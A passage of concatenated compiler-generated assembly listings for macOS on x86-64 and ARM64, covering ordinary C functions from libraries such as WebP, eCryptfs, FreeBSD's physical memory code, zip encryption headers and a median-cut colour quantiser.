[sp, #8] ; 8-byte Folded Reload str w8, [x9] mov w19, #1 ; =0x1 b LBB0_29 LBB0_28: mov w19, #0 ; =0x0 LBB0_29: add x0, sp, #24 bl _HistoQueueClear mov x0, #0 ; =0x0 bl _WebPSafeFree mov x0, x19 LBB0_30: ldp x29, x30, [sp, #128] ; 16-byte Folded Reload ldp x20, x19, [sp, #112] ; 16-byte Folded Reload ldp x22, x21, [sp, #96] ; 16-byte Folded Reload ldp x24, x23, [sp, #80] ; 16-byte Folded Reload ldp x26, x25, [sp, #64] ; 16-byte Folded Reload ldp x28, x27, [sp, #48] ; 16-byte Folded Reload add sp, sp, #144 ret LBB0_31: add x0, sp, #44 bl _MyRand brk #0x1 .loh AdrpLdrGot Lloh0, Lloh1 .cfi_endproc ; -- End function .comm _PairComparison,4,2 ; @PairComparison .no_dead_strip _HistogramCombineStochastic .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 15, 0 sdk_version 15, 5 .p2align 4, 0x90 ## -- Begin function write_tag_64_packet _write_tag_64_packet: ## @write_tag_64_packet .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp pushq %r15 pushq %r14 pushq %r13 pushq %r12 pushq %rbx subq $24, %rsp .cfi_offset %rbx, -56 .cfi_offset %r12, -48 .cfi_offset %r13, -40 .cfi_offset %r14, -32 .cfi_offset %r15, -24 movq %rcx, -56(%rbp) ## 8-byte Spill movq %rdx, %r13 movq %rsi, %r14 movq %rdi, %r12 movq _ECRYPTFS_SIG_SIZE_HEX@GOTPCREL(%rip), %rbx movl (%rsi), %eax subl (%rbx), %eax addl $5, %eax movslq %eax, %rdi movq _GFP_KERNEL@GOTPCREL(%rip), %rax movl (%rax), %esi callq _kmalloc movq %rax, (%r13) testq %rax, %rax je LBB0_1 ## %bb.2: movq %rax, %r15 movq _ECRYPTFS_TAG_64_PACKET_TYPE@GOTPCREL(%rip), %rax movzbl (%rax), %eax movb %al, (%r15) leaq 1(%r15), %rdi movl (%rbx), %esi leaq -48(%rbp), %rdx callq _ecryptfs_write_packet_length testl %eax, %eax jne LBB0_3 ## %bb.4: movq -48(%rbp), %r13 leaq (%r15,%r13), %rdi incq %rdi movl (%rbx), %edx movq %r12, %rsi callq _memcpy movslq (%rbx), %rax leaq (%rax,%r13), %rbx incq %rbx leaq (%r15,%rbx), %rdi movl (%r14), %esi leaq -48(%rbp), %rdx callq _ecryptfs_write_packet_length testl %eax, %eax je LBB0_5 LBB0_3: movq _KERN_ERR@GOTPCREL(%rip), %rcx movl (%rcx), %edi leaq L_.str.1(%rip), %rsi movl %eax, %ebx callq _ecryptfs_printk movl %ebx, %eax jmp LBB0_6 LBB0_1: movq _KERN_ERR@GOTPCREL(%rip), %rax movl (%rax), %edi leaq L_.str(%rip), %rsi callq _ecryptfs_printk movq _ENOMEM@GOTPCREL(%rip), %rcx xorl %eax, %eax subl (%rcx), %eax LBB0_6: addq $24, %rsp popq %rbx popq %r12 popq %r13 popq %r14 popq %r15 popq %rbp retq LBB0_5: addq -48(%rbp), %rbx addq %rbx, %r15 movq 8(%r14), %rsi movl (%r14), %edx movq %r15, %rdi callq _memcpy movslq (%r14), %rax addq %rbx, %rax movq -56(%rbp), %rcx ## 8-byte Reload movq %rax, (%rcx) xorl %eax, %eax jmp LBB0_6 .cfi_endproc ## -- End function .comm _ECRYPTFS_SIG_SIZE_HEX,4,2 ## @ECRYPTFS_SIG_SIZE_HEX .comm _GFP_KERNEL,4,2 ## @GFP_KERNEL .comm _KERN_ERR,4,2 ## @KERN_ERR .section __TEXT,__cstring,cstring_literals L_.str: ## @.str .asciz "Unable to allocate memory\n" .comm _ENOMEM,4,2 ## @ENOMEM .comm _ECRYPTFS_TAG_64_PACKET_TYPE,1,0 ## @ECRYPTFS_TAG_64_PACKET_TYPE L_.str.1: ## @.str.1 .asciz "Error generating tag 64 packet header; cannot generate packet length\n" .no_dead_strip _write_tag_64_packet .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 15, 0 sdk_version 15, 5 .p2align 2 ; -- Begin function write_tag_64_packet _write_tag_64_packet: ; @write_tag_64_packet .cfi_startproc ; %bb.0: sub sp, sp, #80 stp x24, x23, [sp, #16] ; 16-byte Folded Spill stp x22, x21, [sp, #32] ; 16-byte Folded Spill stp x20, x19, [sp, #48] ; 16-byte Folded Spill stp x29, x30, [sp, #64] ; 16-byte Folded Spill add x29, sp, #64 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 .cfi_offset w19, -24 .cfi_offset w20, -32 .cfi_offset w21, -40 .cfi_offset w22, -48 .cfi_offset w23, -56 .cfi_offset w24, -64 mov x19, x3 mov x23, x2 mov x20, x1 mov x22, x0 Lloh0: adrp x24, _ECRYPTFS_SIG_SIZE_HEX@GOTPAGE Lloh1: ldr x24, [x24, _ECRYPTFS_SIG_SIZE_HEX@GOTPAGEOFF] ldr w8, [x24] ldr w9, [x1] sub w8, w9, w8 add w8, w8, #5 sxtw x0, w8 Lloh2: adrp x8, _GFP_KERNEL@GOTPAGE Lloh3: ldr x8, [x8, _GFP_KERNEL@GOTPAGEOFF] Lloh4: ldr w1, [x8] bl _kmalloc str x0, [x23] cbz x0, LBB0_4 ; %bb.1: mov x21, x0 Lloh5: adrp x8, _ECRYPTFS_TAG_64_PACKET_TYPE@GOTPAGE Lloh6: ldr x8, [x8, _ECRYPTFS_TAG_64_PACKET_TYPE@GOTPAGEOFF] ldrb w8, [x8] strb w8, [x0], #1 ldr w1, [x24] add x2, sp, #8 bl _ecryptfs_write_packet_length cbnz w0, LBB0_3 ; %bb.2: ldr x8, [sp, #8] add x23, x8, #1 ldr w2, [x24] add x0, x21, x23 mov x1, x22 bl _memcpy ldrsw x8, [x24] add x22, x23, x8 ldr w1, [x20] add x0, x21, x22 add x2, sp, #8 bl _ecryptfs_write_packet_length cbz w0, LBB0_6 LBB0_3: Lloh7: adrp x8, _KERN_ERR@GOTPAGE Lloh8: ldr x8, [x8, _KERN_ERR@GOTPAGEOFF] Lloh9: ldr w8, [x8] Lloh10: adrp x1, l_.str.1@PAGE Lloh11: add x1, x1, l_.str.1@PAGEOFF mov x19, x0 mov x0, x8 bl _ecryptfs_printk mov x0, x19 b LBB0_5 LBB0_4: Lloh12: adrp x8, _KERN_ERR@GOTPAGE Lloh13: ldr x8, [x8, _KERN_ERR@GOTPAGEOFF] Lloh14: ldr w0, [x8] Lloh15: adrp x1, l_.str@PAGE Lloh16: add x1, x1, l_.str@PAGEOFF bl _ecryptfs_printk Lloh17: adrp x8, _ENOMEM@GOTPAGE Lloh18: ldr x8, [x8, _ENOMEM@GOTPAGEOFF] Lloh19: ldr w8, [x8] neg w0, w8 LBB0_5: ldp x29, x30, [sp, #64] ; 16-byte Folded Reload ldp x20, x19, [sp, #48] ; 16-byte Folded Reload ldp x22, x21, [sp, #32] ; 16-byte Folded Reload ldp x24, x23, [sp, #16] ; 16-byte Folded Reload add sp, sp, #80 ret LBB0_6: ldr x8, [sp, #8] add x22, x8, x22 ldr x1, [x20, #8] ldr w2, [x20] add x0, x21, x22 bl _memcpy mov w0, #0 ; =0x0 ldrsw x8, [x20] add x8, x22, x8 str x8, [x19] b LBB0_5 .loh AdrpLdrGotLdr Lloh2, Lloh3, Lloh4 .loh AdrpLdrGot Lloh0, Lloh1 .loh AdrpLdrGot Lloh5, Lloh6 .loh AdrpAdd Lloh10, Lloh11 .loh AdrpLdrGotLdr Lloh7, Lloh8, Lloh9 .loh AdrpLdrGotLdr Lloh17, Lloh18, Lloh19 .loh AdrpAdd Lloh15, Lloh16 .loh AdrpLdrGotLdr Lloh12, Lloh13, Lloh14 .cfi_endproc ; -- End function .comm _ECRYPTFS_SIG_SIZE_HEX,4,2 ; @ECRYPTFS_SIG_SIZE_HEX .comm _GFP_KERNEL,4,2 ; @GFP_KERNEL .comm _KERN_ERR,4,2 ; @KERN_ERR .section __TEXT,__cstring,cstring_literals l_.str: ; @.str .asciz "Unable to allocate memory\n" .comm _ENOMEM,4,2 ; @ENOMEM .comm _ECRYPTFS_TAG_64_PACKET_TYPE,1,0 ; @ECRYPTFS_TAG_64_PACKET_TYPE l_.str.1: ; @.str.1 .asciz "Error generating tag 64 packet header; cannot generate packet length\n" .no_dead_strip _write_tag_64_packet .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 15, 0 sdk_version 15, 5 .p2align 4, 0x90 ## -- Begin function _vm_phys_create_seg __vm_phys_create_seg: ## @_vm_phys_create_seg .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp pushq %r15 pushq %r14 pushq %r12 pushq %rbx .cfi_offset %rbx, -48 .cfi_offset %r12, -40 .cfi_offset %r14, -32 .cfi_offset %r15, -24 movl %edx, %ebx movq %rsi, %r14 movq %rdi, %r15 movq _vm_phys_nsegs@GOTPCREL(%rip), %r12 movq (%r12), %rax movq _VM_PHYSSEG_MAX@GOTPCREL(%rip), %rcx xorl %edi, %edi cmpq (%rcx), %rax setl %dil leaq L_.str(%rip), %rsi callq _KASSERT testl %ebx, %ebx setns %al movq _vm_ndomains@GOTPCREL(%rip), %rcx cmpl %ebx, (%rcx) setg %cl orb %al, %cl movzbl %cl, %edi leaq L_.str.1(%rip), %rsi callq _KASSERT movq _vm_phys_segs@GOTPCREL(%rip), %rax movq (%r12), %rdx leaq -1(%rdx), %rcx movq %rcx, (%r12) leaq (%rdx,%rdx,2), %rcx shlq $3, %rcx addq (%rax), %rcx testq %rdx, %rdx jle LBB0_4 .p2align 4, 0x90 LBB0_1: ## =>This Inner Loop Header: Depth=1 cmpq %r14, -24(%rcx) jl LBB0_4 ## %bb.2: ## in Loop: Header=BB0_1 Depth=1 leaq -24(%rcx), %rdx movq 16(%rdx), %rsi movq %rsi, 16(%rcx) movups (%rdx), %xmm0 movups %xmm0, (%rcx) movq %rdx, %rcx cmpq (%rax), %rdx ja LBB0_1 jmp LBB0_5 LBB0_4: movq %rcx, %rdx LBB0_5: movq %r15, (%rdx) movq %r14, 16(%rdx) movl %ebx, 8(%rdx) popq %rbx popq %r12 popq %r14 popq %r15 popq %rbp retq .cfi_endproc ## -- End function .comm _vm_phys_nsegs,8,3 ## @vm_phys_nsegs .comm _VM_PHYSSEG_MAX,8,3 ## @VM_PHYSSEG_MAX .section __TEXT,__cstring,cstring_literals L_.str: ## @.str .asciz "vm_phys_create_seg: increase VM_PHYSSEG_MAX" .comm _vm_ndomains,4,2 ## @vm_ndomains L_.str.1: ## @.str.1 .asciz "vm_phys_create_seg: invalid domain provided" .comm _vm_phys_segs,8,3 ## @vm_phys_segs .no_dead_strip __vm_phys_create_seg .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 15, 0 sdk_version 15, 5 .p2align 2 ; -- Begin function _vm_phys_create_seg __vm_phys_create_seg: ; @_vm_phys_create_seg .cfi_startproc ; %bb.0: stp x22, x21, [sp, #-48]! ; 16-byte Folded Spill stp x20, x19, [sp, #16] ; 16-byte Folded Spill stp x29, x30, [sp, #32] ; 16-byte Folded Spill add x29, sp, #32 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 .cfi_offset w19, -24 .cfi_offset w20, -32 .cfi_offset w21, -40 .cfi_offset w22, -48 mov x19, x2 mov x20, x1 mov x21, x0 Lloh0: adrp x22, _vm_phys_nsegs@GOTPAGE Lloh1: ldr x22, [x22, _vm_phys_nsegs@GOTPAGEOFF] ldr x8, [x22] Lloh2: adrp x9, _VM_PHYSSEG_MAX@GOTPAGE Lloh3: ldr x9, [x9, _VM_PHYSSEG_MAX@GOTPAGEOFF] Lloh4: ldr x9, [x9] cmp x8, x9 cset w0, lt Lloh5: adrp x1, l_.str@PAGE Lloh6: add x1, x1, l_.str@PAGEOFF bl _KASSERT cmp w19, #0 Lloh7: adrp x8, _vm_ndomains@GOTPAGE Lloh8: ldr x8, [x8, _vm_ndomains@GOTPAGEOFF] Lloh9: ldr w8, [x8] ccmp w8, w19, #0, lt cset w0, gt Lloh10: adrp x1, l_.str.1@PAGE Lloh11: add x1, x1, l_.str.1@PAGEOFF bl _KASSERT Lloh12: adrp x8, _vm_phys_segs@GOTPAGE Lloh13: ldr x8, [x8, _vm_phys_segs@GOTPAGEOFF] ldr x9, [x8] ldr x11, [x22] mov w10, #24 ; =0x18 madd x10, x11, x10, x9 subs x9, x11, #1 str x9, [x22] b.lt LBB0_4 ; %bb.1: mov x9, x10 LBB0_2: ; =>This Inner Loop Header: Depth=1 ldr x11, [x9, #-24]! cmp x11, x20 b.lt LBB0_4 ; %bb.3: ; in Loop: Header=BB0_2 Depth=1 ldr q0, [x9] str q0, [x10] ldr x11, [x9, #16] str x11, [x10, #16] ldr x11, [x8] mov x10, x9 cmp x9, x11 b.hi LBB0_2 b LBB0_5 LBB0_4: mov x9, x10 LBB0_5: str x21, [x9] str x20, [x9, #16] str w19, [x9, #8] ldp x29, x30, [sp, #32] ; 16-byte Folded Reload ldp x20, x19, [sp, #16] ; 16-byte Folded Reload ldp x22, x21, [sp], #48 ; 16-byte Folded Reload ret .loh AdrpLdrGot Lloh12, Lloh13 .loh AdrpAdd Lloh10, Lloh11 .loh AdrpLdrGotLdr Lloh7, Lloh8, Lloh9 .loh AdrpAdd Lloh5, Lloh6 .loh AdrpLdrGotLdr Lloh2, Lloh3, Lloh4 .loh AdrpLdrGot Lloh0, Lloh1 .cfi_endproc ; -- End function .comm _vm_phys_nsegs,8,3 ; @vm_phys_nsegs .comm _VM_PHYSSEG_MAX,8,3 ; @VM_PHYSSEG_MAX .section __TEXT,__cstring,cstring_literals l_.str: ; @.str .asciz "vm_phys_create_seg: increase VM_PHYSSEG_MAX" .comm _vm_ndomains,4,2 ; @vm_ndomains l_.str.1: ; @.str.1 .asciz "vm_phys_create_seg: invalid domain provided" .comm _vm_phys_segs,8,3 ; @vm_phys_segs .no_dead_strip __vm_phys_create_seg .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 15, 0 sdk_version 15, 5 .p2align 4, 0x90 ## -- Begin function crypthead _crypthead: ## @crypthead .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp pushq %r15 pushq %r14 pushq %r13 pushq %r12 pushq %rbx subq $40, %rsp .cfi_offset %rbx, -56 .cfi_offset %r12, -48 .cfi_offset %r13, -40 .cfi_offset %r14, -32 .cfi_offset %r15, -24 movq %r9, -72(%rbp) ## 8-byte Spill movq %r8, %r15 movq %rcx, %r12 movl %edx, -60(%rbp) ## 4-byte Spill movq %rsi, -80(%rbp) ## 8-byte Spill movq %rdi, -56(%rbp) ## 8-byte Spill movq ___stack_chk_guard@GOTPCREL(%rip), %rax movq (%rax), %rax movq %rax, -48(%rbp) movq _RAND_HEAD_LEN@GOTPCREL(%rip), %rax movl (%rax), %r13d leal -2(%r13), %eax callq ____chkstk_darwin addq $15, %rax andq $-16, %rax subq %rax, %rsp movq %rsp, %rbx xorl %r14d, %r14d cmpl -60(%rbp), %r13d ## 4-byte Folded Reload jge LBB0_10 ## %bb.1: movl _crypthead.calls(%rip), %eax leal 1(%rax), %ecx movl %ecx, _crypthead.calls(%rip) testl %eax, %eax jne LBB0_3 ## %bb.2: xorl %edi, %edi callq _time movq _ZCR_SEED2@GOTPCREL(%rip), %rcx xorl (%rcx), %eax movl %eax, %edi callq _srand LBB0_3: movq -56(%rbp), %rdi ## 8-byte Reload movq %r12, %rsi movq %r15, %rdx callq _init_keys movq _RAND_HEAD_LEN@GOTPCREL(%rip), %rax cmpl $3, (%rax) movq -80(%rbp), %r13 ## 8-byte Reload jl LBB0_6 ## %bb.4: xorl %r14d, %r14d .p2align 4, 0x90 LBB0_5: ## =>This Inner Loop Header: Depth=1 xorl %eax, %eax callq _rand shrl $7, %eax movzbl %al, %edx movq %r12, %rdi movq %r15, %rsi callq _zencode movb %al, (%rbx,%r14) incq %r14 movq _RAND_HEAD_LEN@GOTPCREL(%rip), %rax movslq (%rax), %rax addq $-2, %rax cmpq %rax, %r14 jl LBB0_5 LBB0_6: movq -56(%rbp), %rdi ## 8-byte Reload movq %r12, %rsi movq %r15, %rdx callq _init_keys xorl %r14d, %r14d movq _RAND_HEAD_LEN@GOTPCREL(%rip), %rax cmpl $3, (%rax) jl LBB0_9 ## %bb.7: xorl %r14d, %r14d .p2align 4, 0x90 LBB0_8: ## =>This Inner Loop Header: Depth=1 movzbl (%rbx,%r14), %edx movq %r12, %rdi movq %r15, %rsi callq _zencode movb %al, (%r13,%r14) incq %r14 movq _RAND_HEAD_LEN@GOTPCREL(%rip), %rax movslq (%rax), %rax addq $-2, %rax cmpq %rax, %r14 jl LBB0_8 LBB0_9: movq -72(%rbp), %rbx ## 8-byte Reload movl %ebx, %eax shrl $16, %eax movzbl %al, %edx movq %r12, %rdi movq %r15, %rsi callq _zencode movl %r14d, %ecx movq %rcx, -56(%rbp) ## 8-byte Spill movb %al, (%r13,%rcx) shrl $24, %ebx movq %r12, %rdi movq %r15, %rsi movl %ebx, %edx callq _zencode addl $2, %r14d movq -56(%rbp), %rcx ## 8-byte Reload movb %al, 1(%r13,%rcx) LBB0_10: movq ___stack_chk_guard@GOTPCREL(%rip), %rax movq (%rax), %rax cmpq -48(%rbp), %rax jne LBB0_12 ## %bb.11: movl %r14d, %eax leaq -40(%rbp), %rsp popq %rbx popq %r12 popq %r13 popq %r14 popq %r15 popq %rbp retq LBB0_12: callq ___stack_chk_fail .cfi_endproc ## -- End function .comm _RAND_HEAD_LEN,4,2 ## @RAND_HEAD_LEN .zerofill __DATA,__bss,_crypthead.calls,4,2 ## @crypthead.calls .comm _ZCR_SEED2,4,2 ## @ZCR_SEED2 .no_dead_strip _crypthead .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 15, 0 sdk_version 15, 5 .p2align 2 ; -- Begin function crypthead _crypthead: ; @crypthead .cfi_startproc ; %bb.0: stp x26, x25, [sp, #-80]! ; 16-byte Folded Spill stp x24, x23, [sp, #16] ; 16-byte Folded Spill stp x22, x21, [sp, #32] ; 16-byte Folded Spill stp x20, x19, [sp, #48] ; 16-byte Folded Spill stp x29, x30, [sp, #64] ; 16-byte Folded Spill add x29, sp, #64 sub sp, sp, #16 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 .cfi_offset w19, -24 .cfi_offset w20, -32 .cfi_offset w21, -40 .cfi_offset w22, -48 .cfi_offset w23, -56 .cfi_offset w24, -64 .cfi_offset w25, -72 .cfi_offset w26, -80 mov x21, x5 mov x19, x4 mov x20, x3 mov x22, x1 mov x23, x0 Lloh0: adrp x8, ___stack_chk_guard@GOTPAGE Lloh1: ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF] Lloh2: ldr x8, [x8] stur x8, [x29, #-72] Lloh3: adrp x24, _RAND_HEAD_LEN@GOTPAGE Lloh4: ldr x24, [x24, _RAND_HEAD_LEN@GOTPAGEOFF] ldr w12, [x24] sub w8, w12, #2 mov x9, x8 Lloh5: adrp x16, ___chkstk_darwin@GOTPAGE Lloh6: ldr x16, [x16, ___chkstk_darwin@GOTPAGEOFF] blr x16 mov x9, sp add x8, x8, #15 and x8, x8, #0x1fffffff0 sub x25, x9, x8 mov sp, x25 cmp w12, w2 b.ge LBB0_9 ; %bb.1: adrp x8, _crypthead.calls@PAGE ldr w9, [x8, _crypthead.calls@PAGEOFF] add w10, w9, #1 str w10, [x8, _crypthead.calls@PAGEOFF] cbnz w9, LBB0_3 ; %bb.2: mov x0, #0 ; =0x0 bl _time Lloh7: adrp x8, _ZCR_SEED2@GOTPAGE Lloh8: ldr x8, [x8, _ZCR_SEED2@GOTPAGEOFF] Lloh9: ldr w8, [x8] eor w0, w8, w0 bl _srand LBB0_3: mov x0, x23 mov x1, x20 mov x2, x19 bl _init_keys ldr w8, [x24] cmp w8, #3 b.lt LBB0_6 ; %bb.4: mov x26, #0 ; =0x0 LBB0_5: ; =>This Inner Loop Header: Depth=1 bl _rand ubfx w2, w0, #7, #8 mov x0, x20 mov x1, x19 bl _zencode strb w0, [x25, x26] add x26, x26, #1 ldrsw x8, [x24] sub x8, x8, #2 cmp x26, x8 b.lt LBB0_5 LBB0_6: mov x0, x23 mov x1, x20 mov x2, x19 bl _init_keys ldr w8, [x24] cmp w8, #3 b.lt LBB0_10 ; %bb.7: mov x23, #0 ; =0x0 LBB0_8: ; =>This Inner Loop Header: Depth=1 ldrb w2, [x25, x23] mov x0, x20 mov x1, x19 bl _zencode strb w0, [x22, x23] add x23, x23, #1 ldrsw x8, [x24] sub x8, x8, #2 cmp x23, x8 b.lt LBB0_8 b LBB0_11 LBB0_9: mov w0, #0 ; =0x0 b LBB0_12 LBB0_10: mov w23, #0 ; =0x0 LBB0_11: ubfx w2, w21, #16, #8 mov x0, x20 mov x1, x19 bl _zencode add x22, x22, w23, uxtw strb w0, [x22] ubfx x2, x21, #24, #8 mov x0, x20 mov x1, x19 ; kill: def $w2 killed $w2 killed $x2 bl _zencode mov x8, x0 add w0, w23, #2 strb w8, [x22, #1] LBB0_12: ldur x8, [x29, #-72] Lloh10: adrp x9, ___stack_chk_guard@GOTPAGE Lloh11: ldr x9, [x9, ___stack_chk_guard@GOTPAGEOFF] Lloh12: ldr x9, [x9] cmp x9, x8 b.ne LBB0_14 ; %bb.13: sub sp, x29, #64 ldp x29, x30, [sp, #64] ; 16-byte Folded Reload ldp x20, x19, [sp, #48] ; 16-byte Folded Reload ldp x22, x21, [sp, #32] ; 16-byte Folded Reload ldp x24, x23, [sp, #16] ; 16-byte Folded Reload ldp x26, x25, [sp], #80 ; 16-byte Folded Reload ret LBB0_14: bl ___stack_chk_fail .loh AdrpLdrGot Lloh3, Lloh4 .loh AdrpLdrGotLdr Lloh0, Lloh1, Lloh2 .loh AdrpLdrGotLdr Lloh7, Lloh8, Lloh9 .loh AdrpLdrGotLdr Lloh10, Lloh11, Lloh12 .loh AdrpLdrGot Lloh5, Lloh6 .cfi_endproc ; -- End function .comm _RAND_HEAD_LEN,4,2 ; @RAND_HEAD_LEN .zerofill __DATA,__bss,_crypthead.calls,4,2 ; @crypthead.calls .comm _ZCR_SEED2,4,2 ; @ZCR_SEED2 .no_dead_strip _crypthead .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 15, 0 sdk_version 15, 5 .p2align 4, 0x90 ## -- Begin function median_cut _median_cut: ## @median_cut .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp pushq %r15 pushq %r14 pushq %r13 pushq %r12 pushq %rbx pushq %rax movl $12344, %eax ## imm = 0x3038 callq ____chkstk_darwin subq %rax, %rsp popq %rax .cfi_offset %rbx, -56 .cfi_offset %r12, -48 .cfi_offset %r13, -40 .cfi_offset %r14, -32 .cfi_offset %r15, -24 movq %r9, -12360(%rbp) ## 8-byte Spill movl %r8d, %r13d movl %ecx, -12368(%rbp) ## 4-byte Spill movl %edx, %r12d movl %esi, %ebx movq %rdi, %r14 movq ___stack_chk_guard@GOTPCREL(%rip), %rax movq (%rax), %rax movq %rax, -48(%rbp) xorl %r15d, %r15d xorl %eax, %eax callq _GetProcessHeap movq _HEAP_ZERO_MEMORY@GOTPCREL(%rip), %rcx movl (%rcx), %esi movl %eax, %edi movl $8, %edx callq _HeapAlloc testq %rax, %rax je LBB0_21 ## %bb.1: movq %rax, -12344(%rbp) ## 8-byte Spill movl %r13d, -12348(%rbp) ## 4-byte Spill movl %r13d, %eax movq %rax, -12376(%rbp) ## 8-byte Spill addq $2, %r14 movq %r14, -12384(%rbp) ## 8-byte Spill xorl %eax, %eax movq _R_SHIFT@GOTPCREL(%rip), %rdx movq _G_SHIFT@GOTPCREL(%rip), %rsi movq _B_SHIFT@GOTPCREL(%rip), %rdi xorl %r8d, %r8d jmp LBB0_2 .p2align 4, 0x90 LBB0_5: ## in Loop: Header=BB0_2 Depth=1 decl %r8d subl -12368(%rbp), %eax ## 4-byte Folded Reload cmpl %r12d, %r8d ja LBB0_6 LBB0_2: ## =>This Loop Header: Depth=1 ## Child Loop BB0_4 Depth 2 testl %ebx, %ebx je LBB0_5 ## %bb.3: ## in Loop: Header=BB0_2 Depth=1 movl %eax, %r9d addq -12384(%rbp), %r9 ## 8-byte Folded Reload movq -12344(%rbp), %rcx ## 8-byte Reload movq (%rcx), %r10 movl %ebx, %r11d .p2align 4, 0x90 LBB0_4: ## Parent Loop BB0_2 Depth=1 ## => This Inner Loop Header: Depth=2 movzbl (%r9), %r15d movzbl (%rdx), %ecx shrl %cl, %r15d movzbl -1(%r9), %r14d movzbl (%rsi), %ecx shrl %cl, %r14d movq (%r10,%r15,8), %r15 movzbl -2(%r9), %r13d movzbl (%rdi), %ecx shrl %cl, %r13d movq (%r15,%r14,8), %rcx incl (%rcx,%r13,4) addq $3, %r9 decl %r11d jne LBB0_4 jmp LBB0_5 LBB0_6: movq $0, -12296(%rbp) movq _R_COUNT@GOTPCREL(%rip), %rax movq (%rax), %rax decq %rax movq %rax, -12304(%rbp) movq $0, -12312(%rbp) movq _G_COUNT@GOTPCREL(%rip), %rax movq (%rax), %rax decq %rax movq %rax, -12320(%rbp) movq $0, -12328(%rbp) movq _B_COUNT@GOTPCREL(%rip), %rax movq (%rax), %rax decq %rax movq %rax, -12336(%rbp) leaq -12336(%rbp), %r13 movq -12344(%rbp), %rdi ## 8-byte Reload movq %r13, %rsi callq _shrink_box movl $1, %r15d movl -12348(%rbp), %eax ## 4-byte Reload cmpl $2, %eax movq -12360(%rbp), %rcx ## 8-byte Reload movq -12376(%rbp), %r14 ## 8-byte Reload jl LBB0_11 ## %bb.7: movl %eax, %r15d shrl %r15d incl %r15d movl $1, %ebx leaq -12336(%rbp), %r12 .p2align 4, 0x90 LBB0_8: ## =>This Inner Loop Header: Depth=1 movq %r12, %rdi movl %ebx, %esi callq _find_box_max_count testq %rax, %rax je LBB0_8 ## %bb.9: ## in Loop: Header=BB0_8 Depth=1 leaq (%rbx,%rbx,2), %rcx incq %rbx shlq $4, %rcx leaq (%rcx,%rbp), %rdx addq $-12336, %rdx ## imm = 0xCFD0 movq -12344(%rbp), %rdi ## 8-byte Reload movq %rax, %rsi callq _split_box cmpq %r15, %rbx jne LBB0_8 ## %bb.10: movl -12348(%rbp), %eax ## 4-byte Reload movq -12360(%rbp), %rcx ## 8-byte Reload LBB0_11: cmpl %eax, %r15d jge LBB0_17 ## %bb.12: movl %r15d, %r15d leaq (%r15,%r15,2), %rax shlq $4, %rax leaq (%rax,%rbp), %rbx addq $-12336, %rbx ## imm = 0xCFD0 leaq -12336(%rbp), %r12 .p2align 4, 0x90 LBB0_13: ## =>This Inner Loop Header: Depth=1 movq %r12, %rdi movl %r15d, %esi callq _find_box_max_score testq %rax, %rax je LBB0_16 ## %bb.14: ## in Loop: Header=BB0_13 Depth=1 incq %r15 movq -12344(%rbp), %rdi ## 8-byte Reload movq %rax, %rsi movq %rbx, %rdx callq _split_box addq $48, %rbx cmpq %r15, %r14 jne LBB0_13 ## %bb.15: movl %r14d, %r15d LBB0_16: movq -12360(%rbp), %rcx ## 8-byte Reload LBB0_17: testl %r15d, %r15d movq -12344(%rbp), %rbx ## 8-byte Reload jle LBB0_20 ## %bb.18: movl %r15d, %eax movq %rax, -12368(%rbp) ## 8-byte Spill xorl %r12d, %r12d .p2align 4, 0x90 LBB0_19: ## =>This Inner Loop Header: Depth=1 movq %rbx, %rdi movq %r13, %rsi movq %rcx, %r14 callq _box_color movq %r14, %rcx movl %eax, (%r14,%r12,4) incq %r12 addq $48, %r13 cmpq %r12, -12368(%rbp) ## 8-byte Folded Reload jne LBB0_19 LBB0_20: xorl %eax, %eax callq _GetProcessHeap movl %eax, %edi xorl %esi, %esi movq %rbx, %rdx callq _HeapFree LBB0_21: movq ___stack_chk_guard@GOTPCREL(%rip), %rax movq (%rax), %rax cmpq -48(%rbp), %rax jne LBB0_23 ## %bb.22: movl %r15d, %eax addq $12344, %rsp ## imm = 0x3038 popq %rbx popq %r12 popq %r13 popq %r14 popq %r15 popq %rbp retq LBB0_23: callq ___stack_chk_fail .cfi_endproc ## -- End function .comm _HEAP_ZERO_MEMORY,4,2 ## @HEAP_ZERO_MEMORY .comm _R_SHIFT,1,0 ## @R_SHIFT .comm _G_SHIFT,1,0 ## @G_SHIFT .comm _B_SHIFT,1,0 ## @B_SHIFT .comm _R_COUNT,8,3 ## @R_COUNT .comm _G_COUNT,8,3 ## @G_COUNT .comm _B_COUNT,8,3 ## @B_COUNT .no_dead_strip _median_cut .subsections_via_symbols
